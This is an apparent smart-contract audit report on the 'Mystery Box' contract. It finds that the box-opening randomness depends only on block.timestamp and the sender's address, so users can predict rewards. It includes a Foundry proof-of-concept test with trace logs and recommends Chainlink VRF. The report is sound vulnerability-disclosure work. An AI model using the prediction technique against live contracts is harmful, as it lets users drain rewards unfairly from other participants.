Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Users can guess the random number

Relevant GitHub Links

https://github.com/Cyfrin/2024-09-mystery-box/blob/main/src/MysteryBox.sol#L47

Summary

The random value can be guessed by the user before opening the box therefore knowing in which moment is better to open it to maximize the rewards

Vulnerability Details

The random value used can be calculated by the user in advance because is based only on the `block.timestamp` together with the address of the `msg.sender` who want to open the box

Impact

POC:

function test_randomness() public {
vm.deal(user1, 1 ether);
vm.prank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
console.log("Before Open:", mysteryBox.boxesOwned(user1));
uint256 start= block.timestamp;
uint256 randomValue = uint256(keccak256(abi.encodePacked(start, msg.sender))) % 100;
console.log("random value at this moment:", randomValue);
uint256 start2 = block.timestamp+1 days;
vm.warp(start2);
uint256 randomValue2 = uint256(keccak256(abi.encodePacked(start2, msg.sender))) % 100;
console.log("random value after 1 day:", randomValue2);
assertTrue(randomValue>randomValue2, "better to open the box tomorrow");
}
[PASS] test_randomness() (gas: 49749)
Logs:
Reward Pool Length: 4
Before Open: 1
random value at this moment: 91
random value after 1 day: 3
Traces:
[49749] MysteryBoxTest::test_randomness()
├─ [0] VM::deal(0x0000000000000000000000000000000000000001, 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000001)
│ └─ ← [Return]
├─ [24580] MysteryBox::buyBox{value: 100000000000000000}()
│ └─ ← [Stop]
├─ [608] MysteryBox::boxesOwned(0x0000000000000000000000000000000000000001) [staticcall]
│ └─ ← [Return] 1
├─ [0] console::log("Before Open:", 1) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("random value at this moment:", 91) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::warp(86401 [8.64e4])
│ └─ ← [Return]
├─ [0] console::log("random value after 1 day:", 3) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::assertTrue(true, "better to open the box tomorrow") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.82ms (212.26µs CPU time)
Ran 1 test suite in 9.57ms (1.82ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review, Foundry

Recommendations

Use as source of randomness the ChainlinkVRF (https://chain.link/vrf)

Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.